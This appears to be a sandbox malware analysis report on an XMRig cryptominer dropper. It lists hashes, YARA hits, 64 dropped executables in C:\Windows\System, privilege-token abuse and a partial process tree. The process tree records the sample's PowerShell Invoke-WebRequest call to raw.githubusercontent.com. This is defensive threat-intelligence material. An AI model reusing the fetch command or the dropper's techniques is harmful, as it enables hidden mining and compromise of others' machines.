xmrig | 4607e5c2e81e38980f5274a27a1f1ce4bdf8ad875c0db06c2c243b0d595a67ec

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
07/06/2024, 00:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
Size

1.7MB
MD5

29cf1d8cb2c7c6071ad8021f1800b430
SHA1

7f0e0d7f32a713736bc8a66243a38acd19c76c4c
SHA256

4607e5c2e81e38980f5274a27a1f1ce4bdf8ad875c0db06c2c243b0d595a67ec
SHA512

e4701385ea9cec245bb138d7cd9cacc48cb0655c91f2fc73edbba6680d574fcc2c215545d4921e3ac188a6cb4e25fcd3eca54370a7161605dd4a2ac0e1bacce9
SSDEEP

24576:zv3/fTLF671TilQFG4P5PmK/lzapbxikE5EkJyQfedz4Gc41aYlKbsZxsEoMvyg2:Lz071uv4BPm6lg6EW7EzxsEoup2

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 49 IoCs

miner

resource	yara_rule
behavioral2/memory/3488-131-0x00007FF6B5AC0000-0x00007FF6B5EB2000-memory.dmp	xmrig
behavioral2/memory/632-150-0x00007FF7B2040000-0x00007FF7B2432000-memory.dmp	xmrig
behavioral2/memory/4852-162-0x00007FF6582F0000-0x00007FF6586E2000-memory.dmp	xmrig
behavioral2/memory/1180-211-0x00007FF6A4CF0000-0x00007FF6A50E2000-memory.dmp	xmrig
behavioral2/memory/3304-207-0x00007FF7C28D0000-0x00007FF7C2CC2000-memory.dmp	xmrig
behavioral2/memory/904-1936-0x00007FF79F6A0000-0x00007FF79FA92000-memory.dmp	xmrig
behavioral2/memory/2348-206-0x00007FF745270000-0x00007FF745662000-memory.dmp	xmrig
behavioral2/memory/2204-202-0x00007FF6CA450000-0x00007FF6CA842000-memory.dmp	xmrig
behavioral2/memory/4160-198-0x00007FF7A45C0000-0x00007FF7A49B2000-memory.dmp	xmrig
behavioral2/memory/2380-192-0x00007FF7F5E00000-0x00007FF7F61F2000-memory.dmp	xmrig
behavioral2/memory/3468-186-0x00007FF780160000-0x00007FF780552000-memory.dmp	xmrig
behavioral2/memory/4996-185-0x00007FF6538D0000-0x00007FF653CC2000-memory.dmp	xmrig
behavioral2/memory/2700-168-0x00007FF6DAD80000-0x00007FF6DB172000-memory.dmp	xmrig
behavioral2/memory/4948-156-0x00007FF6071C0000-0x00007FF6075B2000-memory.dmp	xmrig
behavioral2/memory/2172-144-0x00007FF6BAB50000-0x00007FF6BAF42000-memory.dmp	xmrig
behavioral2/memory/628-143-0x00007FF772B60000-0x00007FF772F52000-memory.dmp	xmrig
behavioral2/memory/3752-137-0x00007FF70D2A0000-0x00007FF70D692000-memory.dmp	xmrig
behavioral2/memory/4748-125-0x00007FF6EDE40000-0x00007FF6EE232000-memory.dmp	xmrig
behavioral2/memory/3988-124-0x00007FF6F64A0000-0x00007FF6F6892000-memory.dmp	xmrig
behavioral2/memory/1272-120-0x00007FF790C90000-0x00007FF791082000-memory.dmp	xmrig
behavioral2/memory/3096-114-0x00007FF6A6440000-0x00007FF6A6832000-memory.dmp	xmrig
behavioral2/memory/3528-109-0x00007FF709F50000-0x00007FF70A342000-memory.dmp	xmrig
behavioral2/memory/1548-107-0x00007FF7D8F70000-0x00007FF7D9362000-memory.dmp	xmrig
behavioral2/memory/5008-106-0x00007FF629210000-0x00007FF629602000-memory.dmp	xmrig
behavioral2/memory/1572-47-0x00007FF647B20000-0x00007FF647F12000-memory.dmp	xmrig
behavioral2/memory/1572-2250-0x00007FF647B20000-0x00007FF647F12000-memory.dmp	xmrig
behavioral2/memory/5008-2254-0x00007FF629210000-0x00007FF629602000-memory.dmp	xmrig
behavioral2/memory/1548-2252-0x00007FF7D8F70000-0x00007FF7D9362000-memory.dmp	xmrig
behavioral2/memory/3528-2256-0x00007FF709F50000-0x00007FF70A342000-memory.dmp	xmrig
behavioral2/memory/3096-2258-0x00007FF6A6440000-0x00007FF6A6832000-memory.dmp	xmrig
behavioral2/memory/1272-2262-0x00007FF790C90000-0x00007FF791082000-memory.dmp	xmrig
behavioral2/memory/3988-2264-0x00007FF6F64A0000-0x00007FF6F6892000-memory.dmp	xmrig
behavioral2/memory/3488-2268-0x00007FF6B5AC0000-0x00007FF6B5EB2000-memory.dmp	xmrig
behavioral2/memory/4748-2266-0x00007FF6EDE40000-0x00007FF6EE232000-memory.dmp	xmrig
behavioral2/memory/628-2272-0x00007FF772B60000-0x00007FF772F52000-memory.dmp	xmrig
behavioral2/memory/2172-2274-0x00007FF6BAB50000-0x00007FF6BAF42000-memory.dmp	xmrig
behavioral2/memory/632-2276-0x00007FF7B2040000-0x00007FF7B2432000-memory.dmp	xmrig
behavioral2/memory/4852-2280-0x00007FF6582F0000-0x00007FF6586E2000-memory.dmp	xmrig
behavioral2/memory/4948-2278-0x00007FF6071C0000-0x00007FF6075B2000-memory.dmp	xmrig
behavioral2/memory/3468-2282-0x00007FF780160000-0x00007FF780552000-memory.dmp	xmrig
behavioral2/memory/2380-2284-0x00007FF7F5E00000-0x00007FF7F61F2000-memory.dmp	xmrig
behavioral2/memory/4160-2286-0x00007FF7A45C0000-0x00007FF7A49B2000-memory.dmp	xmrig
behavioral2/memory/2204-2288-0x00007FF6CA450000-0x00007FF6CA842000-memory.dmp	xmrig
behavioral2/memory/3752-2270-0x00007FF70D2A0000-0x00007FF70D692000-memory.dmp	xmrig
behavioral2/memory/4996-2260-0x00007FF6538D0000-0x00007FF653CC2000-memory.dmp	xmrig
behavioral2/memory/2348-2290-0x00007FF745270000-0x00007FF745662000-memory.dmp	xmrig
behavioral2/memory/1180-2294-0x00007FF6A4CF0000-0x00007FF6A50E2000-memory.dmp	xmrig
behavioral2/memory/3304-2293-0x00007FF7C28D0000-0x00007FF7C2CC2000-memory.dmp	xmrig
behavioral2/memory/2700-2248-0x00007FF6DAD80000-0x00007FF6DB172000-memory.dmp	xmrig

Blocklisted process makes network request 23 IoCs

flow	pid	Process
10	996	powershell.exe
12	996	powershell.exe
25	996	powershell.exe
26	996	powershell.exe
27	996	powershell.exe
29	996	powershell.exe
30	996	powershell.exe
31	996	powershell.exe
32	996	powershell.exe
33	996	powershell.exe
34	996	powershell.exe
35	996	powershell.exe
36	996	powershell.exe
37	996	powershell.exe
38	996	powershell.exe
39	996	powershell.exe
40	996	powershell.exe
41	996	powershell.exe
42	996	powershell.exe
43	996	powershell.exe
44	996	powershell.exe
45	996	powershell.exe
46	996	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
996	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2700	yYNnmnu.exe
1572	QYcnmho.exe
5008	UNVdaIw.exe
1548	EatCgYx.exe
3528	jWHCXVK.exe
3096	jqgrIVB.exe
4996	uHMYEyJ.exe
1272	OxjPUGT.exe
3988	ulNUWuw.exe
4748	XPgUPAQ.exe
3488	pBZNJNt.exe
3752	PVYqkIK.exe
628	UHNUmpX.exe
2172	voQiUyy.exe
632	LuUjSiu.exe
4948	CkhsjcW.exe
4852	faBwEYM.exe
3468	WWriBcM.exe
2380	XmRgrjX.exe
4160	SdzfNlK.exe
2204	gFJcquC.exe
2348	CZfmvWe.exe
3304	CvdTYBf.exe
1180	fFUhFKE.exe
2212	dfmRacg.exe
2016	VIJcscW.exe
3060	MnfCBIQ.exe
3576	fwnyjPd.exe
1484	AsfYKzg.exe
2764	wJbnLQA.exe
2480	kpjwJJC.exe
4840	WAYBMkY.exe
1580	xHFGWTh.exe
1068	CUQlJBy.exe
3792	HjexfGm.exe
1064	WGQwQaH.exe
1664	SSsLbLh.exe
5100	VmbrDee.exe
4300	lQGgILW.exe
4932	vpsqsHQ.exe
5024	EzLJwmU.exe
4076	qzWtgtt.exe
932	xuAmSpj.exe
4592	shKGmWr.exe
3968	dNIDyUY.exe
2584	EFWjVjj.exe
1036	rYHzNJL.exe
900	QgpJiAo.exe
4772	ScNriVf.exe
1904	hKHtKRg.exe
1136	otGjWPA.exe
5032	aBPJEgw.exe
2308	EjkvCZw.exe
2856	NSIrAWB.exe
1948	uSJKdhl.exe
4048	VhkqkED.exe
3788	WlrPnMm.exe
1148	zlNTKfM.exe
4348	XZTOLNr.exe
2432	erLbPxP.exe
3568	PsbjPzx.exe
1376	ateupMh.exe
2188	cgvsZgX.exe
3296	JGzRFyX.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/904-0-0x00007FF79F6A0000-0x00007FF79FA92000-memory.dmp	upx
behavioral2/files/0x00090000000233f3-6.dat	upx
behavioral2/files/0x0007000000023403-8.dat	upx
behavioral2/files/0x0007000000023402-11.dat	upx
behavioral2/files/0x0007000000023404-19.dat	upx
behavioral2/files/0x0007000000023405-42.dat	upx
behavioral2/files/0x000700000002340a-61.dat	upx
behavioral2/files/0x0008000000023407-67.dat	upx
behavioral2/files/0x000700000002340b-71.dat	upx
behavioral2/files/0x000700000002340c-76.dat	upx
behavioral2/files/0x000700000002340d-80.dat	upx
behavioral2/files/0x0007000000023410-97.dat	upx
behavioral2/files/0x0007000000023411-101.dat	upx
behavioral2/files/0x0007000000023413-108.dat	upx
behavioral2/files/0x00090000000233fb-121.dat	upx
behavioral2/memory/3488-131-0x00007FF6B5AC0000-0x00007FF6B5EB2000-memory.dmp	upx
behavioral2/memory/632-150-0x00007FF7B2040000-0x00007FF7B2432000-memory.dmp	upx
behavioral2/memory/4852-162-0x00007FF6582F0000-0x00007FF6586E2000-memory.dmp	upx
behavioral2/files/0x000700000002341c-180.dat	upx
behavioral2/files/0x000700000002341e-193.dat	upx
behavioral2/memory/1180-211-0x00007FF6A4CF0000-0x00007FF6A50E2000-memory.dmp	upx
behavioral2/memory/3304-207-0x00007FF7C28D0000-0x00007FF7C2CC2000-memory.dmp	upx
behavioral2/memory/904-1936-0x00007FF79F6A0000-0x00007FF79FA92000-memory.dmp	upx
behavioral2/memory/2348-206-0x00007FF745270000-0x00007FF745662000-memory.dmp	upx
behavioral2/memory/2204-202-0x00007FF6CA450000-0x00007FF6CA842000-memory.dmp	upx
behavioral2/memory/4160-198-0x00007FF7A45C0000-0x00007FF7A49B2000-memory.dmp	upx
behavioral2/files/0x0007000000023420-195.dat	upx
behavioral2/memory/2380-192-0x00007FF7F5E00000-0x00007FF7F61F2000-memory.dmp	upx
behavioral2/files/0x000700000002341f-189.dat	upx
behavioral2/files/0x000700000002341d-187.dat	upx
behavioral2/memory/3468-186-0x00007FF780160000-0x00007FF780552000-memory.dmp	upx
behavioral2/memory/4996-185-0x00007FF6538D0000-0x00007FF653CC2000-memory.dmp	upx
behavioral2/files/0x000700000002341b-175.dat	upx
behavioral2/files/0x000700000002341a-169.dat	upx
behavioral2/memory/2700-168-0x00007FF6DAD80000-0x00007FF6DB172000-memory.dmp	upx
behavioral2/files/0x0007000000023419-163.dat	upx
behavioral2/files/0x0007000000023418-157.dat	upx
behavioral2/memory/4948-156-0x00007FF6071C0000-0x00007FF6075B2000-memory.dmp	upx
behavioral2/files/0x0007000000023417-151.dat	upx
behavioral2/files/0x0007000000023416-145.dat	upx
behavioral2/memory/2172-144-0x00007FF6BAB50000-0x00007FF6BAF42000-memory.dmp	upx
behavioral2/memory/628-143-0x00007FF772B60000-0x00007FF772F52000-memory.dmp	upx
behavioral2/files/0x0007000000023415-138.dat	upx
behavioral2/memory/3752-137-0x00007FF70D2A0000-0x00007FF70D692000-memory.dmp	upx
behavioral2/files/0x0007000000023414-126.dat	upx
behavioral2/memory/4748-125-0x00007FF6EDE40000-0x00007FF6EE232000-memory.dmp	upx
behavioral2/memory/3988-124-0x00007FF6F64A0000-0x00007FF6F6892000-memory.dmp	upx
behavioral2/memory/1272-120-0x00007FF790C90000-0x00007FF791082000-memory.dmp	upx
behavioral2/memory/3096-114-0x00007FF6A6440000-0x00007FF6A6832000-memory.dmp	upx
behavioral2/files/0x0007000000023412-110.dat	upx
behavioral2/memory/3528-109-0x00007FF709F50000-0x00007FF70A342000-memory.dmp	upx
behavioral2/memory/1548-107-0x00007FF7D8F70000-0x00007FF7D9362000-memory.dmp	upx
behavioral2/memory/5008-106-0x00007FF629210000-0x00007FF629602000-memory.dmp	upx
behavioral2/files/0x000700000002340f-92.dat	upx
behavioral2/files/0x000700000002340e-86.dat	upx
behavioral2/files/0x0008000000023408-54.dat	upx
behavioral2/files/0x0007000000023409-49.dat	upx
behavioral2/memory/1572-47-0x00007FF647B20000-0x00007FF647F12000-memory.dmp	upx
behavioral2/files/0x0007000000023406-38.dat	upx
behavioral2/memory/1572-2250-0x00007FF647B20000-0x00007FF647F12000-memory.dmp	upx
behavioral2/memory/5008-2254-0x00007FF629210000-0x00007FF629602000-memory.dmp	upx
behavioral2/memory/1548-2252-0x00007FF7D8F70000-0x00007FF7D9362000-memory.dmp	upx
behavioral2/memory/3528-2256-0x00007FF709F50000-0x00007FF70A342000-memory.dmp	upx
behavioral2/memory/3096-2258-0x00007FF6A6440000-0x00007FF6A6832000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\VFDdjsT.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\vgRarVH.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\fAKvKFb.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\HPFdEHg.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\nBpjSox.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\gkPeZFJ.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\XqUKZzn.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\XqiXAaO.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\olPINNe.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\lCreZMv.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\OQEdSpU.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\EatCgYx.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\gFJcquC.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\JyvGeEb.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\UHNUmpX.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\KvwbMBi.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\mcMjvfX.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\NQQbvuP.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\NMUYmaA.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\fhavOtS.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\nGmMbIN.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\AedVKWr.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\rYHzNJL.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\YSJeSfD.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\uXDefHZ.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\oThiYHi.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\HVVvjvW.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\PuGCkCr.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\kjYyCcM.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\BeUOiUw.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\YwLspee.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\UtWqXLg.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\faBwEYM.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\fcYpiQw.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\szTMXEk.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\wFdZIRU.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\RrpjhsQ.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\SSsLbLh.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\sfPElUK.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\HYkjIaM.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\yYNnmnu.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\feQluZL.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\XQWLyKa.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\lSfmqLA.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\kjcWcir.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\AAEnOIb.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\quGbHdR.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\FJhIDzp.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\UkhCxKV.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\AClrGPM.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\VIdEKYg.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\tBIUwHR.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\raoINCu.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\XOMdpFR.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\cNzfWoZ.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\RyjcbxQ.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\DjEPYMe.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\pBZNJNt.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\uSJKdhl.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\IFwDQPd.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\NMgZMrg.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\zUyoTWg.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\wazWvLI.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
File created	C:\Windows\System\deddfOq.exe	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
996	powershell.exe
996	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
Token: SeDebugPrivilege	996	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 904 wrote to memory of 996	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	86
PID 904 wrote to memory of 996	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	86
PID 904 wrote to memory of 2700	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	87
PID 904 wrote to memory of 2700	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	87
PID 904 wrote to memory of 1572	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	88
PID 904 wrote to memory of 1572	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	88
PID 904 wrote to memory of 5008	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	89
PID 904 wrote to memory of 5008	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	89
PID 904 wrote to memory of 1548	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	90
PID 904 wrote to memory of 1548	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	90
PID 904 wrote to memory of 3096	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	91
PID 904 wrote to memory of 3096	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	91
PID 904 wrote to memory of 3528	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	92
PID 904 wrote to memory of 3528	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	92
PID 904 wrote to memory of 4996	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	93
PID 904 wrote to memory of 4996	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	93
PID 904 wrote to memory of 1272	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	94
PID 904 wrote to memory of 1272	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	94
PID 904 wrote to memory of 3988	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	95
PID 904 wrote to memory of 3988	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	95
PID 904 wrote to memory of 4748	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	96
PID 904 wrote to memory of 4748	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	96
PID 904 wrote to memory of 3488	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	97
PID 904 wrote to memory of 3488	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	97
PID 904 wrote to memory of 628	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	98
PID 904 wrote to memory of 628	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	98
PID 904 wrote to memory of 3752	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	99
PID 904 wrote to memory of 3752	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	99
PID 904 wrote to memory of 2172	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	100
PID 904 wrote to memory of 2172	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	100
PID 904 wrote to memory of 632	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	101
PID 904 wrote to memory of 632	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	101
PID 904 wrote to memory of 4948	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	102
PID 904 wrote to memory of 4948	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	102
PID 904 wrote to memory of 4852	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	103
PID 904 wrote to memory of 4852	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	103
PID 904 wrote to memory of 3468	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	104
PID 904 wrote to memory of 3468	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	104
PID 904 wrote to memory of 2380	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	105
PID 904 wrote to memory of 2380	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	105
PID 904 wrote to memory of 4160	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	106
PID 904 wrote to memory of 4160	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	106
PID 904 wrote to memory of 2204	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	107
PID 904 wrote to memory of 2204	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	107
PID 904 wrote to memory of 2348	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	108
PID 904 wrote to memory of 2348	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	108
PID 904 wrote to memory of 3304	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	109
PID 904 wrote to memory of 3304	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	109
PID 904 wrote to memory of 1180	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	110
PID 904 wrote to memory of 1180	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	110
PID 904 wrote to memory of 2212	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	111
PID 904 wrote to memory of 2212	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	111
PID 904 wrote to memory of 2016	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	112
PID 904 wrote to memory of 2016	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	112
PID 904 wrote to memory of 3060	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	113
PID 904 wrote to memory of 3060	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	113
PID 904 wrote to memory of 3576	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	114
PID 904 wrote to memory of 3576	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	114
PID 904 wrote to memory of 1484	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	115
PID 904 wrote to memory of 1484	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	115
PID 904 wrote to memory of 2764	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	116
PID 904 wrote to memory of 2764	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	116
PID 904 wrote to memory of 2480	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	117
PID 904 wrote to memory of 2480	904	29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe	117

C:\Users\Admin\AppData\Local\Temp\29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\29cf1d8cb2c7c6071ad8021f1800b430_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:996
- C:\Windows\System\yYNnmnu.exe
  C:\Windows\System\yYNnmnu.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\QYcnmho.exe
